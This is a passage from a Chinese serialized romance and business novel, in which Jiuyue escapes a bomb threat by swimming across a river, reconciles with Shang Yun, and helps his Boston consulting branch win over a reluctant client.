她看到一个熟悉的人影往酒吧走去,他的车就停在不远处,她嘴中发出“嗯嗯”的声音,但声音太小。 刚下过雨的天气,四处阴沉混乱,汉子给朋友打电话,兴奋的声音很高昂,吸引远处稀疏路人的目光。 尚云也朝这边望了一眼,但汉子挡住了她的身影,他没看到打扮成Lisa的九月。 “你们到了吗......不不不......我现在想到更好的法子了,借一个妞充当炸弹使者,绑上炸弹送给他们......他们一定意想不到,但他们在骂我的那一刻就该知道这样的下场......不是路人,跟他们一伙的,此前就在酒吧里做服务生......好,尽快过来看好戏!” 就在汉子手舞足蹈打电话的当口,九月转身朝街头奔跑。冬季的街头人和车都很少,风吹在脸上生疼。 九月像一个亡命之徒,穿过马路,几辆车紧急刹车,让她险险躲过死神追赶。 她朝着一个方向奔跑,后面是汉子边追边喊的声音,很多人朝这边瞧了过来。 尚云在酒吧没找到Lisa也出来了,看到这一幕,微一迟疑便开启动汽车追着两人去了。九月坚定选择这边,是知道这边有一条大河,她身上的炸弹和汽油在水中便不会生效。 汉子越追越近,她手被敷在身后没能像正常跑步那样起到助力作用。此时此刻她很感激公司的训练要求,如果不是长期体能训练,她早就跑不动了。 汉子看着健硕,但耐力不足,扶着墙喘息的份,九月已经又过了马路,来到河边街道。汉子立即意识到九月的意图,但已经来不及阻止,等他来到河边街道,她早已失去踪迹,只看到河面漂着一只皮鞋。 汉子守在河边,好一阵都没见到女子浮上水面,大冷天洗个手都冻得手疼,更何况整个跳进河里,大概是凶多吉少了。 他得返回酒吧叫人逃离。 九月从小在海边长大,水性很好。她想人不知鬼不觉的游过河对岸,再从对岸逃走。这样就可以摆脱Lisa的身份,以九月的面貌回国了。 但是,冰冷的河水还是让她吃尽苦头,她潜水到河中央时,脚开始抽筋,加上手一直被捆在身后,她蹬腿的力度越来越小,潜游的速度也越来越慢。 就在筋疲力尽意识模糊时,有人潜入水中解开了她手上的绳子,拽着她浮出水面。头露出水面那一刻,她模模糊糊看到尚云清俊的五官近在咫尺,她以为是梦境,或者是濒临死亡出现幻觉。她被尚云带动游了好远,意识才逐渐清醒。 两人一起在对岸某处隐蔽处着陆。上岸后,尚云问道:“怎么样?能走吗?” “可以。”她点头,脚后跟在跑动的过程被鞋边磨破皮,沾水的裤子紧贴着磨擦,钻心的疼。 尚云见她暗暗咬牙,便二话不说抱着她往林荫深处走,“车停在那边,没有监控。” 听到他这么说,九月知道自己虽然易容成Lisa,却已经被尚云识破了。 尚云将车停在一幢公寓旁,这套公寓是黛妮帮他租住的,家电齐全,也有供暖,环境地段也非常方便。 “先去洗个澡,别感冒了。”回房打开暖气,尚云脱去湿透的衣服,露出身上肌肉精壮的上身。上腹部手术留下的疤痕比原先看到的颜色淡了很多,突然就想起文菌说他因为阿闲的离世,丢掉了半条命。 九月移开目光,去了浴室。不久,尚云敲门,拿了自己的浴袍给她。 “那你呢?” 尚云把脸别开,也不看她。 最终,九月在他洗澡时,去他衣柜里找了一件衬衫穿上,在简易的厨房做了两碗面,煎了几个蛋,洒上现有的调料。 “一起吃点东西吧。”九月说。 “我刷牙了,你吃吧。”尚云依然没正眼瞧她,在沙发上坐下来,打开平时读的书。 她走过来站在他面前,那层易容胶质面皮已经撕下来,脸色因为长期不见天日而有些苍白。“你还在怪我躲着你?” 他紧盯着书本,却一个字都没看进去。“我有什么资格怪你?” “能不能别这样?我明天就走。”九月平静如水。 尚云把书合上,丢到一边,抬头不悦道:“这次又要跑去哪儿?” “你认为我在耍任性?” “你不任性吗?够莽撞了九月,如果我不在场,你今天沉河了!”尚云站起来,语气有些严厉。“你到底在做什么?千里迢迢跑来这里做酒吧服务生吗?打扮成欧美人,却说着蹩脚的英文,你如此惹人注目,到底想干什么?” 九月心虚转开脸,不回应他。 “要不是我找人应援,宇琪早就被逮捕了。你们胆子太大了,行动之前连起码的风险预案都没有,完全靠运气来赌命。”尚云压低声音,带着怒气说道。“他们手里有枪,你们入室盗取资料,无论有没有得手,他们要是开枪声称自卫,你们只能自认倒霉。” 安排宇琪安全撤离后,他又马不停蹄来找九月,幸亏他去找她。 九月哑口无言,理亏道:“我们也没有别的办法,为了取证豁出去了。你是什么时候发现我们行动的?” “从你故意弄倒酒瓶那一刻。”尚云沉声道。 “你那天晚上跟踪我回去,已经发现我的身份了?”九月问。 “你以为呢?如果换作别人,那天晚上你们就已经暴露了。” 九月虽然心虚,嘴上仍然不服:“那是因为你对我们太熟悉了,换作别人根本看不出异样。” “你根本就是在做超出自己能力范围的事,不是每时每刻你都有如此好运气。”他怒不可遏。 九月见他发怒,知道那是源于内心的担心和后怕,伸手挽住他胳膊示好,他怒气未消,抽开了。 她再度靠过去挽住他胳膊,把头靠在他肩上。 他生气的对她说道:“慕九月,你别碰我。不要以为你这样我就......” 她勾住他的脖子,毫不设防吻住他,让他无法再说话。 尚云若是想推开她,她根本近不了身,但他没有这么做。她穿着他的衬衫在他面前挑衅,这样的九月他无法抵抗。 九月得逞,退开一步,得意笑了。 他没想就这样放过她,一把抱住她,深深吻住她的唇……夜很深,情更浓…… 他的吻深情而专注,狂野而热情,如瀑布倾泻而下,润泽着她的心田,抚慰着她的紧张,尽极所能的疼爱她,似乎要用这个吻,来倾注自己对她的所有真情,又像是用这个吻来标注她是他的。 她喜欢他的吻,只有在他吻着她的时候,她才感觉一切都是真实的。两人的身体在吻中交会,融合。四周很安静,只听见彼此的呼吸。 她感受他的深深爱意,两人的意乱情迷。 第一百九十三章 平凡幸福 波士顿冬日清晨,是诗意的。 她显然错过了这样美好的早晨,醒过来的时候,已经十点多了。 尚云已经起床,听到厨房传来错乱的脚步声,她好奇起床探头看了一眼,看到尚云正手忙脚乱煎鸡蛋,用锅盖挡着溅出来的油沫子,锅铲给鸡蛋翻面。 她差点笑出声来。 不知怎么,笑着笑着眼泪就下来了。 识别一个人的爱是否纯粹,不在海誓山盟,不在永恒承诺里,也不在于他愿意做一些轻而易举本身擅长的举手之劳,而在三餐四季点点滴滴,心甘情愿挑战自己的不擅长为你做一件温暖的小事。 等他关了火,端着煎得稍微有点焦的鸡蛋转过身来,看到她在后面红着眼睛无声地笑。 “起来了?”他镇定的把手上的餐盘放在桌上。又将热好的牛奶倒在两只玻璃杯中。 她走过去抱住他,连他身上的油烟气息都格外好闻。 “去刷牙洗脸,吃早餐了。”他张开两只胳膊,怕手上的油污碰到她。 “嗯。” 九月洗漱完,跟尚云一起坐下来用餐。“你今天不上班?” “没那么忙了,下午回公司看看。这边已经进入正轨,等明天杰克过来,交接几天就回国。”尚云淡淡道,其实这边的情况并不是太好,但九月回去后肯定不会收手,他不放心,只能找人欧洲分司的总经理来顶上,他则腾出手去处理工作之外的事宜。 宇琪那边获得的资料大概也是自己正在寻求的,既然箭在弦上,他就不能坐视不理。 “杰克?他不是欧洲区分公司的总经理吗?” “对。”尚云不愿意继续谈论工作,让她吃早餐,眼神出卖了他的忐忑心态。“你尝尝,不行我们就出去吃吧。” 九月咬了一口,不禁停顿了片刻。煎蛋入口微微有些发苦,嚼起来发涩,毫无口感可言。 尚云看着她的反应,问道:“如何?” “不错哎!第一次下厨就能做到这个程度,比我第一次下厨好太多了。”九月喝了一口牛奶,将鸡蛋吞咽下去,她感觉嚼碎的鸡蛋块一路划拉着食道下去的。 “真的?”尚云微微一笑,自己吃了一口,面色微变,看向九月的眼神很有内涵。 “那当然。”九月若无其事,将盘中的鸡蛋就着牛奶吃光了。这让尚云感觉心情跟户外的天气一样晴朗。“今天的天气不错,一会带你出去走走。” “好啊!”她明白他的良苦用心,“不过,我改变主意了。” 她的突发其想让他感觉不妙:“什么?” “暂时不回国。” 他不知道她又有什么打算,现在已经成了惊弓之鸟:“为什么?” “我听说分公司这边开辟市场进展不是很好,我想去一线看看。你知道的,这是我擅长的领域。”九月说。 尚云想不到她人在国外,还会关注普世的动向。她回归职场总比去做那些不可控的危险之事要好,“可以,非常欢迎。” “可惜我语言不通。”九月沮丧道。 他一句话就解决了:“我让小蔡给你做翻译。” “成交!”九月抿嘴,起身收拾餐盘。“我来刷盘子,你休息下。” 尚云好整以暇地看着她的身影,突然就想到了举案齐眉,相敬如宾这样的词,眸中闪现一抹暖色。脑海里突然回想起她写在画稿上那句话:“世上最苦的不是未加糖的黑咖啡,而是幸福触手可及,我却不敢伸手。” “为什么喜欢喝黑咖啡还不加糖?”他站在她身后问。 九月顿了一下,回头疑惑地看着他。 他等待着她的答案:“黑咖啡是咖啡里极苦的品类。” “喜欢什么需要理由吗?”她套用电视剧里的台词。 “人的一言一行都有动机,喜欢这么极致的东西一定有理由。”他剖析道。 “你想听真话。” “你觉得呢?” 她洗净盘子,用干净白布擦净水分,“生活太苦,我不想对甜有太多期待。人的本性中有一种东西不可逆,那就是习惯,一旦习惯了甜,就无法接受一丁点的苦。” “你怎么会有这么悲观的想法?” “期待越低越可控,期待越高痛苦越甚。这是我的生活总结。” 尚云沉默半晌,说道:“这是你拒绝向外公布我们关系的原因?我克服了恐惧,你却躲在阴暗里不愿出来。” “我没有不愿意,阴暗如影随形,我逃不出来。”九月想了想,坦白道:“他们一直存在,那天在烧烤店里遇见那些人不是偶然,洋洋失踪又回来也不是偶然,我是后来才知道的,事情远比你我想像中要复杂。十多年前我父母车祸是人为的,凶手就在这里面。但这远远不是全部真相。” “我知道。”看来宇琪掌握了很多信息,都告诉她了。 “我知道你都知道。阿闲就是为调查这些事情而死,对你而言是一个打击。所以你不希望我再涉险,但你想过没有,总要有人去做这些事,这些阴暗没有解决,普世的理想抱负就是一个笑话。你渗不透这个环境,连普世的存在都会成为他们爪牙下的牺牲品,更遑论改变现状。” 这是现实,但他依然不赞同她的行动:“那也轮不到你去解决!” 她早知道他会这么说,立即反驳道:“让你自己去解决吗?你身后那么多人指望着你带队引领方向,好不容易找到出路你就要卸下重担了吗?你太天真了。 你是普世的主心骨,普世理念的坚定执行者和引领者。一旦你离开,短时间内普世会因为惯性向前滑行,但时间一长,这份理念会变形转弯,会放缓甚至消失。我们做了那么多案例,无一例外是这种情况。 你让我担任蓝鲸团队的副总,让木信担任总经理,却给了他代理董事长的权限。你给公司铺好路设置好发展战略,找好每个关键岗位担当重任的人才。你所做的这些安排,意味着什么我一清二楚。” 人所看到的世界只是他自己想看到的,他人的思想抱负伟大见解,就算表达出来其他人也只能理解他们认知层面的意思。当事人表达的语境,他人再了解他,也毕竟不是他本人,无法百分百领会到,更无法感同身受。这种同频本就奢侈。 尚云所看到的未来,想要达成的目标,只有他自己在位才能实现,任何人无法取代。 “所以你提前跳出我的安排,想要蚍蜉撼树?”他恍然大悟,先前还认为她行动莽撞,说风就是雨,原来她什么都看明白了。 她过去一年在工作中所表现出来心思缜密,胆大心细,怎么可能性情大变,成了一个毫无计划的冲动冒险者。 第一百九十四章 普世终极目标 “是蚍蜉撼树也好,螳螂挡车也好。情况随时都在变,根本没有万全之计。既然没有万无一失的时机,就只能随机应变。箫小竺这两天就要跟这边一家公司联合起来量产她研发出来的成果。我们没时间等待好时机,就算冒险会惨遭横祸,也要倾力一试。”九月情绪低落,自嘲道:“唯独让我意外的是,厚山科技的负责人会是她,雷默的董事长也是她,创建克普打击普世的还是她。我还真是......与狼共舞。” 看来她都知道了,尚云暗暗叹息,听她的意思是无法阻止他们行动了,沉声道:“下一步你们打算怎么做?” “既然琪哥他们取到了证据,下一步肯定就是去厚山科技现场取证,然后借用法律援助。如果顺利的话,很快就能驱散头顶的阴霾了。”如果,顺利的话。这是一个未知。 她将洗干净的盘子放回消毒柜中,“现在已经打草惊蛇,箫小竺那边一定会有所警觉,马上行动是不可能了。所以,现在有时间去看看公司情况。现在公司是什么情况?我听说公司投入大量资金在研发上,你有新的打算?” “目标不变,但是公司业务发展至国外,我才发现当初的设想还是太过理想化了。所以普世战略重新布局,投入重金搞科研,缩短第一阶段和第二阶段的距离。” “第一阶段和第二阶段?分别指的什么?”九月从未听他提过。 “普世以实现客户的使命为使命,是未来五十年普世要完成的总目标,这个过程是我们的第一阶段。所谓第一阶段是,让全球企业正视自身的使命感,以造福社会为首任,同时换来企业和员工的共同富裕和职业发展。” “那现在公司的使命改变了?” “也不能说是改变了,只是现实所迫,逼得我们现在要看得更远,更深入。第二阶段不能与第一阶段分离执行,应该同步进行。” “第二阶段又是什么?我想像不出比普世使命更深入更重要的事情,噢,我猜是你所说的新文明?”九月疑惑道,尚云的思想太深邃,抱负过于宏伟,她有时跟不上。 “其实我也在会议上提起过第二阶段内容,因为遥不可及,大家听了没往心里去。第二阶段是让普世现阶段的使命再升华,全球企业不再停留在以生产、服务为唯一产出,而是形成联盟改变世界。具体一点说,是用企业文化影响人心,致力于改变人们心性,向善而生。 进一步影响家人,身边的人,以及他们的后代,一代接一代。最后从这物欲横流的现代文明回复到最初最根本的幸福追求,人心复古,摒弃邪恶,从根本上维护社会安定繁荣。百年之后,新的文明和和谐社会就形成了。” 九月愕然,细细琢磨后,突然问道:“理解了,但什么原因让你想缩短两个阶段的距离?毕竟实现第一个目标只怕相当不容易,第二个阶段就更加无从下手了。” “正是如此,眼下除了箫小竺这样的企业恶劣经营,生产出破坏社会安宁,让黑暗笼罩全世界的产品之外,最大的困境在于智能机器渐渐取代人工,这意味着企业能影响的人群范围越来越少。” 这下,九月陷入沉默,难怪他说现实所逼,彻底明白他的用意。 这也是他改变策略,投入巨额要研发出能缩短第一阶段和第二阶段的时间距离的最根本原因。 尚云继续说道:“原来预想要耗费大量资金,换取中西各大企业发展趋势的第一资料投入科研,要投入漫长的时间去收集验证实验,但公司意外获得彼得这样的合作伙伴。他用了十五年业余时间研究企业文化取得硕果,无偿赠予公司,给普世的研发工作带来很大的助力。还是很有希望能让我在有生之年看到目标成为现实,如果我能长命百岁的话。” “会的,我相信普世,更相信你。”她握住他的手,目光里满是仰慕。 放眼未来,还是得着重脚下的路。 因此,两人在稍后就穿戴整齐去了分公司。 蓝鲸顾问团队正在开会,除了业务进展汇报,还有问题反馈。跟总部那边周总结会议模式差不多。 尚云带九月进去后,大家停住讨论,纷纷起身。 “我们坐在后面旁听,你们继续。”尚云淡淡道。 黛妮坐在刘全左侧第二个位子,侧头好奇的打量九月,看见尚云拉开椅子让九月先坐,她目光中闪现异色。 主持会议的是刘全,原来隶属厉总下面的分队队长,表现相当出色,又有扎实的双语交流能力,经厉总推荐便提携上来做了分公司的代理总队。 刘全接着刚才的话头说道:“无论同行表现如何,我们真正的敌人只有自己。即使以往的业绩再好,也只能用最快的速度超越迭代。刚才勒亮反应的问题是目前我们都要想办法克服的,西方企业跟国内企业在管理模式上有根本性的不同,在谈判的时候,一定要避免批判他们的文化弊病。就像我们不能告诉他们吃冰水可乐和汉堡炸鸡不好,这就是他们能够适应习以为常的环境文化,只需展现我们自己的米饭和八大菜系里面的功用和营养,能带给他们实实在在的益处。” “刘队,这些我们心里清楚。但目前为止,我们很难取得信任。” “对,国内开辟市场很难,这边是难上加难。因为在国内我们只要做出现实案例,就能得到认可和允许尝试。但这边我们就算签下来的客户,现在在执行上也频频遇挫。” “总部研发出来的新文化系统,具有中西双方优势,但总体来说还是一项大手术,接受我们的方案意味着要对企业进行思维改造。很多企业创始人和股东刚开始抱着好奇,放手让我们的工作人员着手去实施方案。但架不住几个月以来只有投入没有产出,开始出言干涉。” 顾问们有不少是从总部调过来的老顾问,有相当丰富的经验。但正因为以往的丰功伟迹才使他们挫败感很严重,客户的不信任和限制,让他们苦不堪言,更让他们十八般武艺无法施展。最恼火的是到头来客户还要将工作几个月却毫无建树怪到他们头上。 听到大家七嘴八舌围绕这一个问题纠缠不休,九月知道这是最普遍的现状。她转头看了一眼尚云,他正低头思考着什么。 她举手示意。 刘全示意大家安静下来,“慕总助有话要说,大家稍安勿燥。” 第一百九十五章 九月解决业务瓶颈 尚云这时也看着九月,想听听她的看法。他们身在局中想解决问题,反而被问题所扰,她在局外可能会有不同的角度看待问题。 九月并没有说出自己的观点,而是想了解情况:“我们的方案主题有哪些?我知道每个客户存在的挑战不一样,所以我想知道我们在国外环境下的方案基调是什么?具有普遍性和代表性的观点又是什么?” 说完扫视了全场,全场陷入静默,唯有一双狭长的女性目光毫不遮掩地投来一瞥。 九月一怔,不禁多看了她一眼。长相出众,气质干练,打扮新潮,看服装色彩搭配,多半是热情开朗的类型。 太眼熟了。好像在哪见过。九月回忆老半天,突然想起在week No5酒吧,吐她一身脏污的人好像就是这位女子。酒吧灯光太昏暗,但她略微扁平的五官,特别是那双狭长的眼睛还是很好记的。 刘全看了看其他人,都在默默归纳。 他反应比较快,稍作整理便思路清晰的说道:“我来说说吧,大致有四点。第一,说服创始人改变经营模式和旧观念,这是重中之首;第二,推荐公司创建的算法程序。他们自己可以直观数据,这是迎合这边市场特意做的选项。第三,改变单一的结果导向规则,重视人文。为员工增添更多的贴心服务,关注员工的精神和物质幸福,关注员工的幸福,增加企业的凝聚力和向心力,将为企业及股东们带来更多收益。第四,改变契约为主原则,增强企业情感黏性。像父母一样对每一个员工负责,改变单纯的雇佣关系,让每位员工成为企业合伙人,增加企业与员工之间的情感黏性和自主性。” “就是说这边的企业没有侧重员工的幸福感?”九月说道,“据了解,这边同行上个世纪开始他们已经意识到这一点,也长期侧重改善这一块。所以这边很多名企在这方面都做得不错。在企业管理上,这根本不是秘密,反而是共识。如果以这个为基调,我们没有胜算。他们给我们机会,源于好奇,毕竟普世的规模和国内名气摆在这里,而非根本上的信任和信心。” 刘全一时哑口无言。 尚云一听就知道九月要表达什么。发现问题是一项能力,关键在于如何解决。因此,他静听她的答案。 “问题看起来很复杂,我们要将复杂的问题简单化,便于解决。”九月说道:“想要说服客户,我们必须让客户看到我们值得信任。标准和榜样就在于每一个人自身。你们每时每刻的表现就是说服力。” 在座的人还没反应过来,细细咀嚼这番话。 尚云则笑着点点头,他知道九月的解决思路了。 刘全反应也极快,一时茅塞顿开,说道:“确实。我们自己就是一个优秀的范本。我们要做的只需要让客户意识到这一点。山高皇帝远,在异国他乡还能不打折扣的为客户,对任何琐碎工作全力以赴,把客户的事情当成自己的事。我们引以为傲的驱动力来源于公司的核心文化和共同使命感。 现在客户将自己放在我们对立面,西方重视契约条款,习惯于套上甲方权威滤镜,他可能还没能体会到。但如果他将自己摆正在一个企业创始人的立场,他可能也会想打造这样的团队,一旦意识到这一点就会被打动,想让自己的团队以我们为榜样,自然会彻底将主导权交还给我们。” 都是行业精英,当然明白刘全所说,可谓一语点醒梦中人。 九月为刘全的理解能力鼓掌,其他人也为问题找到突破口而高兴,一起鼓掌。 “想要客户信任我们,就必须将我们自己成为一支客户羡慕的团队。这个思路不错。”散会后,尚云夸赞她,“要不趁热打铁,你带队跟他们去客户那里探探虚实。” 九月欣然领命,“正有此意。” 想起会议上那双眼睛,她回头又问道:“我在会议上看到一个熟悉的美女。” 尚云想了想,回道:“你说的是黛妮吧?她工作能力不错,就是性格有些跳脱。” “你能带去酒吧的人,一定是你看好的。”九月吃味的说道。 他略微迟钝,没领会她的醋意,实话实说道:“还在观察,目前来看还不错。前段时间小蔡生病,她顶上了,倒是一个不可多得的助手。” 九月心里不是滋味,但她可不会像小女孩一样表现出来,“是吗?恭喜你。”说完头也不回的去了蓝鲸团队办公室。 尚云怔了怔,隐隐感觉她有情绪。 一会儿,看到刘全跟九月并排走出来,尚云让小蔡跟着去了,上了车直奔客户公司。 路上,刘全介绍了客户情况,这家客户比较难搞,虽然当初签了协议,但是后来估计又后悔了,不让普世的团队去诊断,甚至不配合,也不欢迎他们来公司。 创始人认为企业不需要这些无用理论,照样生存得很好。“花钱雇人干活,你出力我出钱,整那么多虚头八脑的东西没用。他们热爱自由,在工作中,只要能完成公司下达的任务,他们就能享受到这种自由。我也一样。所以我们的协议你们不必来执行了。” 因为牵扯到定金,创始人也不愿意主动毁约,但拒绝他们进入公司诊断,不让履行协议,普世就会被迫取消协议,定金自然会退到账上。 “这么大一家企业,做的也都是大买卖。一旦有点危机或是别的困难,如果没有凝聚力是很危险的。你所说的自由,代表他们跟公司相当疏离,如果能树立起员工跟公司之间的信任和情感连结,将能给员工找到归属感,也能给企业带来巨大收益。”团队成员正在跟创始人交涉。 创始人摇摇头,“你们根本不了解行情,在这里指手划脚很耽搁工作。” 冬末初春雨水充沛,此时又是毛毛细雨,天气预报说这两天可能有雷暴雨。刘全拿出伞递给九月:“最近几年的天气太反常了,一般这个时候很少会下暴雨。” 小蔡说道:“九月姐,我给您撑伞,这把伞大。”九月笑着同意了。 创始人大腹便便,也没撑伞,他的助理跟他着急汇报什么,他生气地怒吼,命令助理去执行自己的指令。 九月跟小蔡走到创始人身边,创始人正在气头上,“我现在没时间听你们说那些,现在很忙!” 她也不恼,说:“你为什么会这么忙,这是有原因的。如果我们能帮你解脱出来,你能否给我五分钟?” “怎么解脱?我们现在几车货物明天到港口,但天气预报显示明天有雷雨,那条路有危险,经常有车在雷雨天经过那里被泡在水里,现在没有人愿意去拉货。我现在赶货急用,这跟你们所说的文化有关系吗?” 小蔡将他的意思翻译给九月,她打断小蔡说:“他说的我大致能听懂,把我说的翻译给他。” 稍微想了想说道:“我们无法左右天气,也无法让人冒着生命危险去干活。但是,我们可以把公司流程理顺,让在位者谋其政,提前做出计划避免这种情况,也可以改变员工对公司的态度。” “行了行了,我不想听这些。我头都要炸了。”创始人说着转身就要离开。 第一百九十六章 黛妮趁醉当众表白尚云 九月在他身后大声道:“真的是天气的原因导致的吗?此前公司拿出权威可信的信息,能证明天气不会再恶劣,也没有员工愿意去执行任务。也许你可以细想下其中的原因。” 小蔡也急忙翻译。 对方回过头来,脸上的雨水顺着轮廓流在衣服上。九月推开小蔡的雨伞,跟创始人一起淋在雨里,平等对话。 “我告诉你原因,因为他们跟公司只是简单的利益交换关系,他们对工作没有热情,对客户也没有使命感,公司的损失跟他们无关,只要不影响发薪水就与他们无关。”九月停顿了一下,给小蔡时间翻译给对方。 创始人脸上抽搐了一下,但没有说话。 “我们的团队成员也是普通员工,但明天就算有暴雨,我们还是会出现在你面前,像以往一样,三番五次不厌其烦地跟您讲解文化管理的重要性。因为您当初签订了协议就是我们的客户,我们要为您负责,要站在您的立场去解决问题。” 创始人听小蔡翻译出这番话,神色微微变了变,盯着同样淋着雨的九月。 “这就是公司文化给我们的力量,爱自己的岗位和公司,热爱这份工作带来的考验和成就。而您以及公司的事,此时此刻就是我们的使命,就算上刀山下火海也会使命必达。” 对方听了小蔡的翻译,大概有所触动。他的助理此时举着伞又过来了,见九月他们在,就在他耳边轻声说着什么。 创始人脸上又浮起怒容,过了一会,他将目光投注在九月脸上,接过助理手中的伞举在九月头顶:“我相信一个愿意跟我一起淋雨的人,但你们最好用结果说话。你先回去吧,明天来公司找我。” 小蔡在九月耳边快速转述,但创始人好像遇到急事,一把抓住九月的手握住雨伞,匆匆走了。 “谢谢您的信任。”九月用英文对他说道。 他回头看了一眼,消失在工业园的拐弯路口。 刘全和两个顾问也围了上来,“慕总助,我终于明白为什么你能在一年之中创造那么多神话了。” 顾问转头好奇的问:“为什么?” “将心比心,换位思考。把这八字真言落实在行动里。”刘全简洁地回。 九月不置可否,慰心一笑说,“回去吧,明天过来。” 转身时,听到其中一个顾问在身后追问刘全:“刘队,我还是不太明白,我们来来回回折腾惨了为什么没说通他,其实我们表述的意思跟慕总助也差不多啊。” “因为客户淋着雨的时候,你打着伞。”刘全回头看他一眼,说道。“客户的信任不在于你说了什么,而是你做的和说的有没有同步。” 那名顾问愕然,若有所思跟在后面。 到公司的时候已经下班,办公室里还有些员工正在加班。黛妮难得下一个早班,她望向亮着灯的独立办公室,想了想便走过去敲敲门,其实门没关。 听到敲门声,尚云看了一眼,“进。” “尚总。”黛妮绽放神秘笑容。 “请说。” 黛妮说道:“今晚有空吗?请您吃个饭感谢您这段时间的悉心教导。” “培育员工是普世管理者的基本准则,无需客气。你有进步那也是你自己的努力。” 黛妮碰了个软钉子,尴尬一笑,“其实,今天是我生日,家人都不在国外,你在公司是大家长,就想......” 尚云手上的工作停顿,心道,员工生日,hR部门一般都有特别的生日安排。漏掉了? 她突然也想到这个,解释道:“我真实的生日跟身份证上的生日不是同一天。家里给我填错了。” “哦。”尚云想了想,走到门口看了看加班的员工,转身说道:“这样吧,今晚我请客,大家也一起出去放松放松,也帮你庆生。” “好啊!”黛妮眼睛都亮了,似乎只要他能一起,怎样都好。 “你是今天的寿星,吃什么你定。” 黛妮早就有想法:“我选好了,订了中式餐厅,我叫他们换个大点的包厢就行了。” “好。你把地址发我。” “尚总不一起走吗?” “还有几个同事没回来,我等等他们。” “哦。好。”黛妮出去了。 黛妮带着大伙走了之后,刘全一行人也回来了。尚云关掉电脑,没看到熟悉的身影,正想问刘全,小蔡就过来说,“尚总,九月姐手机没电,她先回去了,让我跟你说一声。” “好。今天顺利吗?” “挺顺利的,九月姐出马,几句话就搞定了。” “是吗?”尚云暖暖一笑,这让小蔡暗暗惊奇,觉得太阳打西边出来了。做总助以来,第一次看到他的笑容。“去收拾一下,一起出去吃饭。” “好,噢对了......”小蔡想起九月淋雨的事,回头看到尚云去了蓝鲸团队办公室,大概也是叫刘全一行人吃饭。“算了,一会再跟尚总说。” 出发的时候,尚总接到国内的越洋电话,见小蔡站在身后欲言又止,以为他在等自己,便说道:“小蔡,你跟刘全他们先走,定位我发给他了。我这边有点事。” 小蔡便道:“九月姐她......” “没事,你去吧。黛妮他们在餐厅等很久了。”尚云催促道。 “好。”小蔡上了刘全的车,离开了。 处理完国内的事,尚云看了看腕表,又拨了九月电话。电话仍在关机中,这会估计已经睡了,如果醒着她肯定会开机。 不如让她好好休息,她素来就不喜欢这种众人聚餐的场合。 九月洗了澡,满以为让小蔡转告尚云,他会回来。然而左等右等,不知不觉便在沙发了睡着了。醒来的时候,天已经黑了。户外的照明灯映进来一点光亮,头发还没有干透,太阳穴隐隐作痛。 手机还在充电,她开机,收到尚云发来的简讯:“我带大家聚个餐,晚点回来。” 难怪!她心中些许失落,但他是公司领导,带团队吃饭很正常,她能理解。 打开常用社交软件,小蔡发的动态却是为黛妮庆生。她拨了小蔡电话:“小蔡,你们在哪吃饭?” “九月姐,你要一起吗?现在我们吃过饭在KtV,我把定位发给你。”小蔡说道,背景比较嘈杂,一阵欢呼,听声音好像是服务生推着一个大蛋糕进来了。 有人在说黛妮美女,快许个愿! 听到一个爽朗的女声笑着脱口而出,拿着话筒说道,“希望今年能脱单!” 众人一阵欢呼,也有人趁机开玩笑:“这个愿望现场就能实现,你是想找个我这样的呢、我这样的还是我这样的?” “我希望他像尚总那样,沉稳、帅气、年轻有为。”黛妮趁着醉意大胆的说出心里话,盈盈目光流转至坐在相对安静的角落里正在接打电话的尚云身上。 众人集体沉默,齐齐转头看过去。尚云是公司的颜值担当,年纪不大却有非同一般的志向,喜欢他的人不在少数,但在公司时间长的,都知道尚云非常忌讳工作场所牵扯儿女私情。 话筒音量较大,尚云也听到了。他讲电话时顿了顿,瞥了一眼黛妮这边,继续讲电话。 小蔡也被他们热闹喧染了,此时也惊掉下巴,忽然想起自己在通电话,“九月姐,九月姐?不好意思刚走神了。” 第一百九十七章 九月失去安全感 “小蔡,麻烦你转告尚总,我钥匙掉了,进不了家门。”九月淡淡地说道。 进不了家门,为什么要转告尚总?小蔡说道:“好,我一会告诉尚总,要不我先帮你叫人开锁。” “不用了,尚总有钥匙。” 小蔡怔了怔,反应过来。挂了电话原原本本的转告尚云。 尚云脸色变了变,跟电话那头说了两句,收了电话起身,拿过话筒用英文说道:“感谢大家这段时间以来辛苦付出,今晚可以尽情开怀,明天给大家放半天假。小蔡留在这里看大家有什么需要代我照顾好大家,要保证大家安全,结束后妥善安排送回去。我就先走了,我的未婚妻还在等我。” 最后一句话,算是他对刚才听到黛妮的话一个回应。更像是一枚炸弹,将大家都炸懵了,谁都没想到尚云已经名草有主。尤其是黛妮,脸上的笑容僵在那儿,比哭还难看。 在众人愣神的时候,尚云将话筒交给小蔡,匆匆离去。 尚云以最快的速度开车回到住处,看到九月静静坐在沙发上,也没有开灯。 “我以为你睡了。”尚云停了车就一路奔上楼,喘息未匀,见她乱糟糟的湿头发,说道:“你洗了头发怎么没吹干?容易感冒。” 她答非所问:“我骗了你,你不生气吗?” 他叹息一声,拿了吹风筒帮她吹头发。她显得很安静,垂着眼眸不知在想什么。 “我想回家。”她讷讷道。 “你怎么了?怎么一天一个主意?” 她突然像个小孩子一样,噙着汪汪泪水,哽咽道:“我想回家,尚云。” 他蹲在她面前,皱着眉看着她,耗着耐心道:“我知道,不该把你丢在这里。别闹了,我知道你是一个识大体的人。” “识大体的人不配有家吗?”她的泪决堤了,在异国他乡她真正意识到孤独的滋味,以前漂来漂去,都在安源镇周边的城市。说来也奇怪,离开安源那么久,她却从未觉得离开过,这么多年从未回去看一眼,一次都没有。 而这一晚,她坐在一个彻底陌生的黑暗环境里,却莫名想家。 想念柔和灯光奶奶给大家手工制作的冬季棉拖鞋,想念太阳底下榕树下被阳光照得发白的秋千,想念父母出双入对一起在厨房里炒菜还有说不完的悄悄话。以前无论多普通的一幕,在现在看来都显得弥足珍贵。 然而,尚云并不知道她的想法,拿了纸巾给她擦掉眼泪:“你知道我不是这个意思。别钻牛角尖了,听话。给你带了点吃的,你吃了好好睡一觉。” 九月果然没有再说什么,只吃了几口,刷牙后去睡觉了。 尚云给她盖好被子,拧熄床头灯。自己则打开沙发旁边的落地灯,坐回沙发上打开电脑,继续回复国内发来的邮件。 第二天醒来,九月恢复如常,继续去公司出谋划策,跟着顾问团队去现场支招。在工作上她铿锵如铁将,战术变幻,灵活运用,让刘全叹为观止。 